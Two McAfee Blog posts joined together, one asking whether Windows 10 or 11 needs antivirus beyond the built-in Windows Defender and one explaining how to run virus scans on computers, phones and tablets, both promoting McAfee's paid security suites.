Windows Defender is a free antivirus tool that’s built into the Windows operating system. Initially released as an anti-spyware program for Windows XP and Windows Server 2003, it became a full antivirus program with Windows 8 in 2012.
Today, Windows Defender antivirus is part of the Windows Security suite, which offers a comprehensive solution that includes Windows Firewall and Smart App Control for real-time protection against threats. While it’s considered one of the best free antivirus software programs, Windows Defender doesn’t have any extra features that might come with paid security software. If you’re just looking for good antivirus software, it can get the job done.
If you’re not using third-party antivirus protection, you’ll want to make sure that your Windows Defender antivirus coverage is working on your computer. Here’s how to check:
To make sure your Windows Security is running, follow these steps:
Windows Defender is a convenient and cost-effective way to protect your Microsoft device from viruses. With features like real-time protection, firewall integration, and cloud-based threat detection, it provides a solid baseline of security for your computer. This overview explores what Windows Defender does well and where it falls short:
While Windows Defender has vastly improved, it still has some limitations compared to other comprehensive security and antivirus suites.
While Windows Security and Windows Defender offer robust baseline malware protection, modern digital threats go far beyond simple viruses. To stay truly safe, you need to look at the bigger picture of online security. This is where a comprehensive security suite offers significant advantages over a standalone antivirus tool.
Here’s a quick comparison between the built-in Windows Defender and what a full-featured security suite offers:
| Feature | Windows Defender | Comprehensive Suites |
| Antivirus & malware protection | Yes (strong baseline) | Yes (advanced) |
| Firewall | Yes | Yes (advanced, customizable) |
| Secure VPN | No | Yes |
| Identity monitoring | No | Yes |
| Cross-device protection (Mac, Android, iOS) | No | Yes |
| Password manager | Limited (browser-based) | Yes (secure, cross-device) |
| Web protection | Yes (Edge browser) | Yes (all browsers) |
Cybercriminals constantly develop new malware, sophisticated phishing scams, elaborate ruses and zero-day exploits that target your behavior—like tricking you into clicking a malicious link, downloading a compromised file, or giving your personal information such as your bank and credit card numbers. Some scams even target your devices with risky apps or links on social media.
As thousands of new threat variants are discovered daily, having dedicated and up-to-date virus protection for Windows 11 is essential for comprehensive security. Ultimately, you don’t need to disable Windows Defender’s firewall, but adding a comprehensive security suite provides crucial layers of protection against phishing, identity theft, and unsecured Wi-Fi that are essential for staying safe online today. Having another antivirus program can make sure you have real-time protection and access to the latest security features. Better to be safe than sorry!
From Windows 10, the upgraded Windows 11 introduces significant security enhancements, thanks to a more robust security architecture that applies stricter hardware requirements. Mandatory features such as Trusted Platform Module (TPM) 2.0, Virtualization-Based Security (VBS), and Secure Boot create a much stronger “secure-by-default” defense against attacks that target the boot process and system integrity.
However, this enhanced baseline security does not eliminate the need for more diligent protection. The vast majority of cyberattacks target the user, not the hardware. Cybercriminals still employ phishing emails, malicious downloads, and insecure websites to compromise your device, regardless of the operating system’s strength. While it’s true that Windows 11 has made great strides in security, the threat landscape has evolved even faster. Installing a multi-layered security solution remains a critical tool for proactively protecting your personal data and online activities.
In Windows 11, you can augment the built-in Windows Defender with a free antivirus option, but it’s important to understand the trade-offs. Free antivirus solutions typically offer only basic malware protection and lack crucial features that are standard in paid suites, such as a secure VPN, identity monitoring services, advanced phishing protection, a password manager, and dedicated customer support. Some free software may also collect and sell your browsing data to third parties to generate revenue.
While free is tempting, investing in a paid suite with total protection provides peace of mind, knowing that all aspects of your digital life—from your device security to your personal identity and online privacy—are actively protected by an integrated, powerful solution.
Using Microsoft’s built-in antivirus software can protect your Windows devices from viruses and malware. Follow these basic Windows Defender management steps:
In most cases, you can retain your third-party antivirus when you move to Windows 11. Reputable antivirus providers ensure their software is fully compatible with new operating system releases. Before you upgrade to Windows 11, ensure your antivirus software is updated to the latest version. Your subscription should carry over to the new OS seamlessly.
The benefit of using a cross-platform security suite is that your license and protection extend beyond a single OS version. Whether you’re on Windows 10, Windows 11, a Mac, or a mobile device, your protection remains active and managed from a single account, avoiding the hassle of finding new software or purchasing new licenses every time you upgrade or change devices.
Windows Defender provides a solid starting point of security for your computer, but it is good to reinforce that capability with a comprehensive solution. Antivirus protection programs available in the market today aren’t all created equal. When looking for the best antivirus software for your needs, here are some things to consider for your devices running on Windows 11.
Today’s cybercriminals are relentlessly creating new threats every day to steal your identity, money, and personal data. Thinking of antivirus as just for viruses is outdated; modern security suites are about total digital wellness. McAfee+ was developed with an understanding of how cybercriminals operate. Our all-in-one protection includes:
Whether you’re using Windows 10 or the latest Windows 11, the built-in Microsoft Defender provides a good starting point for your device’s security. However, an antivirus is just one layer of security. To be truly protected from the full spectrum of today’s online threats, you need a more comprehensive approach. Adding a trusted security suite gains you layers of protection for your identity, privacy, and data that go far beyond basic antivirus defense.
When you install a third-party antivirus like McAfee Total Protection, it seamlessly takes over as the primary real-time protection provider, while Windows Defender can remain available for periodic scans, ensuring there are no conflicts. To check your security status, simply navigate to Windows Security > Virus & threat protection to see which provider is active.
For complete peace of mind, comprehensive solutions like McAfee Total Protection add critical features like a VPN for online privacy, identity monitoring, and protection for all your devices, not just your Windows personal computer.
The post Does Windows 10 or 11 Need Antivirus Software? appeared first on McAfee Blog.
New online threats emerge every day, putting our personal information, money and devices at risk. In its 2024 Internet Crime Report, the Federal Bureau of Investigation reports that 859,532 complaints of suspected internet crime—including ransomware, viruses and malware, data breaches, denials of service, and other forms of cyberattack—resulted in losses of over $16 billion—a 33% increase from 2023.
That’s why it is essential to stay ahead of these threats. One way to combat these is by conducting virus scans using proven software tools that constantly monitor and check your devices while safeguarding your sensitive information. In this article, we’ll go through everything you need to know to run a scan effectively to keep your computers, phones and tablets in tip-top shape.
Whether you think you might have a virus on your computer or devices or just want to keep them running smoothly, it’s easy to do a virus scan.
Each antivirus program works a little differently, but in general the software will look for known malware with specific characteristics, as well as their variants that have a similar code base. Some antivirus software even checks for suspicious behavior. If the software comes across a dangerous program or piece of code, the antivirus software removes it. In some cases, a dangerous program can be replaced with a clean one from the manufacturer.
Before doing a virus scan, it is useful to know the telltale signs of viral presence in your device. Is your device acting sluggish or having a hard time booting up? Have you noticed missing files or a lack of storage space? Have you noticed emails or messages sent from your account that you did not write? Perhaps you’ve noticed changes to your browser homepage or settings? Maybe you’re seeing unexpected pop-up windows, or experiencing crashes and other program errors. These are just some signs that your device may have a virus, but don’t get too worried yet because many of these issues can be resolved with a virus scan.
Free virus scanner tools, both in web-based and downloadable formats, offer a convenient way to perform a one-time check for malware. They are most useful when you need a second opinion or are asking yourself, “do I have a virus?” after noticing something suspect.
However, it’s critical to be cautious. For one, cybercriminals often create fake “free” virus checker tools that are actually malware in disguise. If you opt for free scanning tools, it is best to lean on highly reputable cybersecurity brands. On your app store or browser, navigate to a proven online scanning tool with good reviews or a website whose URL starts with “https” to confirm you are in a secure location.
Secondly, free tools are frequently quite basic and perform only the minimum required service. If you choose to go this path, look for free trial versions that offer access to the full suite of premium features, including real-time protection, a firewall, and a VPN. This will give you a glimpse of a solution’s comprehensive, multi-layered security capability before you commit to a subscription.
If safeguarding all your computers and mobile devices individually sounds overwhelming, you can opt for comprehensive security products that protect computers, smartphones and tablets from a central, cloud-based hub, making virus prevention a breeze. Many of these modern antivirus solutions are powered by both local and cloud-based technologies to reduce the strain on your computer’s resources.
This guide will walk you through the simple steps to safely scan your computer using reliable online tools, helping you detect potential threats, and protect your personal data.
When selecting the right antivirus software, look beyond a basic virus scan and consider these key features:
The process of checking for viruses depends on the device type and its operating system. Generally, however, the virus scanner will display a “Scan” button to start the process of checking your system’s files and apps.
Here are more specific tips to help you scan your computers, phones and tablets:
If you use Windows 11, go into “Settings” and drill down to the “Privacy & Security > Windows Security > Virus & Threat Protection” tab, which will indicate if there are actions needed. This hands-off function is Microsoft’s own basic antivirus solution called Windows Defender. Built directly into the operating system and enabled by default, this solution provides a baseline of protection at no extra cost for casual Windows users. However, Microsoft is the first to admit that it lags behind specialized paid products in detecting the very latest zero-day threats.
Mac computers don’t have a built-in antivirus program, so you will have to download security software to do a virus scan. As mentioned, free antivirus applications are available online, but we recommend investing in trusted software that is proven to protect you from cyberthreats.
If you decide to invest in more robust antivirus software, running a scan is usually straightforward and intuitive. For more detailed instructions, we suggest searching the software’s help menu or going online and following their step-by-step instructions.
Smartphones and tablets are powerful devices that you likely use for nearly every online operation in your daily life from banking, emailing, messaging, connecting, and storing personal information. This opens your mobile device to getting infected through malicious apps, especially those downloaded from unofficial stores, phishing links sent via text or email, or by connecting to compromised wi-fi networks.
Regular virus scans with a mobile security software are crucial for protecting your devices. Be aware, however, that Android and IOS operating systems merit distinct solutions.
Antivirus products for Android devices abound due to this system’s open-source foundation. However, due to Apple’s strong security model, which includes app sandboxing, traditional viruses are rare on iPhones and iPads. However, these devices are not immune to all threats. You can still fall victim to phishing scams, insecure Wi-Fi networks, and malicious configuration profiles. Signs of a compromise can include unusual calendar events, frequent browser redirects, or unexpected pop-ups.
Apple devices, however, closed platform doesn’t easily accommodate third-party applications, especially unvetted ones. You will most likely find robust and verified antivirus scanning tools on Apple’s official app store.
Before you open any downloaded file or email attachment, it’s wise to check it for threats. To perform a targeted virus scan on a single file, simply right-click the file in Windows Explorer or macOS Finder and select the “Scan” option from the context menu to run the integrated virus checker on a suspicious item.
For an added layer of security, especially involving files from unknown sources, you can use a web-based file-checking service that scans for malware. These websites let you upload a file, which is then analyzed by multiple antivirus engines. Many security-conscious email clients also automatically scan incoming attachments, but a manual scan provides crucial, final-line defense before execution.
Once the scan is complete, the tool will display a report of any threats it found, including the name of the malware and the location of the infected file. If your antivirus software alerts you to a threat, don’t panic—it means the program is doing its job.
The first and most critical step is to follow the software’s instructions. It might direct you to quarantine the malicious file to isolate the file in a secure vault where it can no longer cause harm. You can then review the details of the threat provided by your virus scanner and choose to delete the file permanently, which is usually the safest option.
After the threat is handled, ensure your antivirus software and operating system are fully updated. Finally, run a new, full system virus scan to confirm that all traces of the infection have been eliminated. Regularly backing up your important data to an external drive or cloud service can also be a lifesaver in the event of a serious infection.
The most effective way to maintain your device’s security is to automate your defenses. A quality antivirus suite allows you to easily schedule a regular virus scan so you’re always protected without having to do it manually. A daily quick scan is a great habit for any user; it’s fast and checks the most vulnerable parts of your system. Most antivirus products regularly scan your computer or device in the background, so a manual scan is only needed if you notice something dubious, like crashes or excessive pop-ups. You can also set regular scans on your schedule, but a weekly full scan is ideal.
These days, it is essential to stay ahead of the wide variety of continuously evolving cyberthreats. Your first line of defense against these threats is to regularly conduct a virus scan. You can choose among the many free yet limited-time products or comprehensive, cloud-based solutions.
While many free versions legitimately perform their intended function, it’s critical to be cautious as these are more often baseline solutions while some are malware in disguise. They also lack the continuous, real-time protection necessary to block threats proactively.
A better option is to invest in verified, trustworthy, and all-in-one antivirus products like McAfee+ that, aside from its accurate virus scanning tool, also offers a firewall, a virtual private network, and identity protection. For complete peace of mind, upgrading to a paid solution like McAfee Total Protection is essential for proactively safeguarding your devices and data in real-time, 24/7.
The post How to Scan for Viruses and Confirm Your Device Is Safe appeared first on McAfee Blog.
